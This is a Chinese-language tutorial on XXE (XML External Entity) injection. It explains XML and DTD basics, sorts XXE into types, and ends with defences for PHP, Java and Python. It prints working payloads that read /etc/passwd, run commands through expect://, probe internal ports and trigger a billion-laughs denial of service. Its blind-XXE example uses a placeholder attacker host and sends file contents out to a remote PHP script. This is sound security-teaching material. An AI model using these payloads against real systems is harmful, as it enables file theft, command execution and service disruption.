0×00 介紹
現在越來越多主要的web程序被發現和報告存在XXE(XML External Entity attack)漏洞,比如說facebook、paypal等等。 舉個例子,我們掃一眼這些網站最近獎勵的漏洞,充分證實了前面的說法。盡管XXE漏洞已經存在了很多年,但是它從來沒有獲得它應得的關注度。很多XML的解析器默認是含有XXE漏洞的,這意味着開發人員有責任確保這些程序不受此漏洞的影響。
0×01 什么是XXE
簡單來說,XXE就是XML外部實體注入。
我們先分別理解一下注入和外部實體的含義。注入:是指XML數據在傳輸過程中被修改,導致服務器執行了修改后的惡意代碼,從而達到攻擊目的。外部實體:則是指攻擊者通過利用外部實體聲明部分來對XML數據進行修改、插入惡意代碼。所以XXE就是指XML數據在傳輸過程中利用外部實體聲明部分的“SYSTEM”關鍵詞導致XML解析器可以從本地文件或者遠程URI中讀取受保護的數據。
有XXE漏洞的標志性函數為simplexml_load_string()
0x02 XML基礎
1.什么是XML
XML是可擴展的標記語言(eXtensible Markup Language),設計用來進行數據的傳輸和存儲。
2.XML的文檔結構
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
1 <!--XML聲明--> 2 <?xml version="1.0"?> 3 <!--文檔類型定義--> 4 <!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔--> 5 <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> 6 <!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型--> 7 <!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型--> 8 <!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型--> 9 <!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型--> 10 ]]]> 11 <!--文檔元素--> 12 <note> 13 <to>Dave</to> 14 <from>Tom</from> 15 <head>Reminder</head> 16 <body>You are a good man</body> 17 </note>
3.什么是DTD
文檔類型定義(DTD)可定義合法的XML文檔構建模塊。它使用一系列合法的元素來定義文檔的結構。DTD 可被執行地聲明於 XML 文檔中,也可作為一個外部引用。
(1)內部的 DOCTYPE 聲明
<!DOCTYPE 根元素 [元素聲明]>
(2)外部文檔聲明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
4.什么是DTD實體
(1)內部實體聲明
<!ENTITY 實體名稱 ”實體的值”>
(2)外部實體聲明
<!ENTITY 實體名稱 SYSTEM ”URI”>
(3)參數實體聲明
<!ENTITY %實體名稱 ”實體的值”>或者<!ENTITY %實體名稱 SYSTEM ”URI”>
三種實體聲明方式使用區別:
參數實體用%實體名稱申明,引用時也用%實體名稱;
其余實體直接用實體名稱申明,引用時用&實體名稱。
參數實體只能在DTD中申明,DTD中引用;
其余實體只能在DTD中申明,可在xml文檔中引用。
0x03 XXE分類
下面我們對XXE進行一下分類,按照構造外部實體聲明的方法不同可分為
(1)直接通過DTD外部實體聲明
(2)通過DTD文檔引入外部DTD文檔中的外部實體聲明
(3)通過DTD外部實體聲明引入外部DTD文檔中的外部實體聲明。
按照XXE回顯信息不同可分為正常回顯XXE、報錯XXE和Blind XXE。
3.1 按照構造外部實體聲明的方法不同
1.直接通過DTD外部實體聲明
1 <?xml version="1.0"?> 2 <!DOCTYPE Quan[ 3 <!ENTITY f SYSTEM "file:///etc/passwd"> 4 ]> 5 6 <hhh>&f;<hhh>
2.通過DTD文檔引入外部DTD文檔中的外部實體聲明
XML文件內容:
1 <?xml version="1.0"?> 2 <!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd"> 3 4 <hhh>&f;<hhh>
DTD文件內容:
1 <!ENTITY f SYSTEM "file:///etc/passwd">
3.通過DTD外部實體聲明引入外部DTD文檔中的外部實體聲明
1 <?xml version="1.0"?> 2 <!DOCTYPE Quan[ 3 <!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd"> 4 ]> 5 6 <hhh>&f;<hhh>
Quan.dtd的外部實體聲明內容:
1 <!ENTITY f SYSTEM "file:///etc/passwd">
3.2 按照輸出信息不同
1.正常回顯XXE
正常回顯XXE是最傳統的XXE攻擊,在利用過程中服務器會直接回顯信息,可直接完成XXE攻擊。
2.報錯XXE
報錯XXE是回顯XXE攻擊的一種特例,它與正常回顯XXE的不同在於它在利用過程中服務器回顯的是錯誤信息,可根據錯誤信息的不同判斷是否注入成功。
3.盲注XXE
當服務器沒有回顯,我們可以選擇使用Blind XXE。與前兩種XXE不同之處在於Blind XXE無回顯信息,可組合利用file協議來讀取文件或http協議和ftp協議來查看日志。Blind XXE主要使用了DTD約束中的參數實體和內部實體。在XML基礎有提到過參數實體的定義,這里就不再做詳細講解。參數實體是一種只能在DTD中定義和使用的實體,一般引用時使用%作為前綴。而內部實體是指在一個實體中定義的另一個實體,也就是嵌套定義。
1 <?xml version="1.0"?> 2 <!DOCTYPE Note[ 3 <!ENTITY % file SYSTEM "file:///C:/1.txt"> 4 <!ENTITY % remote SYSTEM "http://攻擊者主機IP/Quan.xml"> 5 %remote; 6 %all; 7 ]> 8 9 <root>&send;</root>
Quan.xml內容:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
%remote引入外部XML文件到這個 XML 中,%all檢測到send實體,在 root 節點中引入 send 實體,便可實現數據轉發。利用過程:第3行,存在漏洞的服務器會讀出file的內容(c:/1.txt),通過Quan.xml帶外通道發送給攻擊者服務器上的1.php,1.php做的事情就是把讀取的數據保存到本地的1.txt中,完成Blind XXE攻擊。
0x04 XXE危害
當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
1.任意文件讀取
PHP中可以通過FILE協議、HTTP協議和FTP協議讀取文件,還可利用PHP偽協議。
1 <?xml version="1.0"?> 2 <!DOCTYPE Quan[ 3 <!ENTITY f SYSTEM "file:///etc/passwd"> 4 ]> 5 6 <hhh>&f;<hhh>
XML在各語言下支持的協議有:

2.執行系統命令
這種情況很少發生,但在配置不當/開發內部應用情況下(PHP expect模塊被加載到了易受攻擊的系統或處理XML的內部應用程序上),攻擊者能夠通過XXE執行代碼。
1 <?xml version="1.0"?> 2 <!DOCTYPE Quan[ 3 <!ENTITY f SYSTEM "expect://id"> 4 ]> 5 6 <hhh>&f;<hhh>
3.探測內網端口
可根據返回信息內容判斷該端口是否打開。若測試端口返回“Connection refused”則可以知道該端口是closed的,否則為open。
1 <?xml version="1.0" encoding="utf-8"?> 2 <!DOCTYPE note[ 3 <!ENTITY Quan SYSTEM "http://192.168.246.136:80"> 4 ]> 5 6 <reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
4.拒絕服務攻擊
1 <?xml version="1.0"?> 2 <!DOCTYPE lolz [ 3 <!ENTITY lol "lol"> 4 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 5 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 6 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 7 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 8 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 9 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 10 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 11 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 12 ]> 13 <lolz>&lol9;</lolz>
上面樣例代碼1中的XXE漏洞攻擊就是著名的’billion laughs’(https://en.wikipedia.org/wiki/Billion_laughs)攻擊,該攻擊通過創建一項遞歸的 XML 定義,在內存中生成十億個”Ha!”字符串,從而導致 DDoS 攻擊。原理為:構造惡意的XML實體文件耗盡可用內存,因為許多XML解析器在解析XML文檔時傾向於將它的整個結構保留在內存中,解析非常慢,造成了拒絕服務器攻擊。
0x05 如何防御XXE
方案一、使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、過濾用戶提交的XML數據
關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
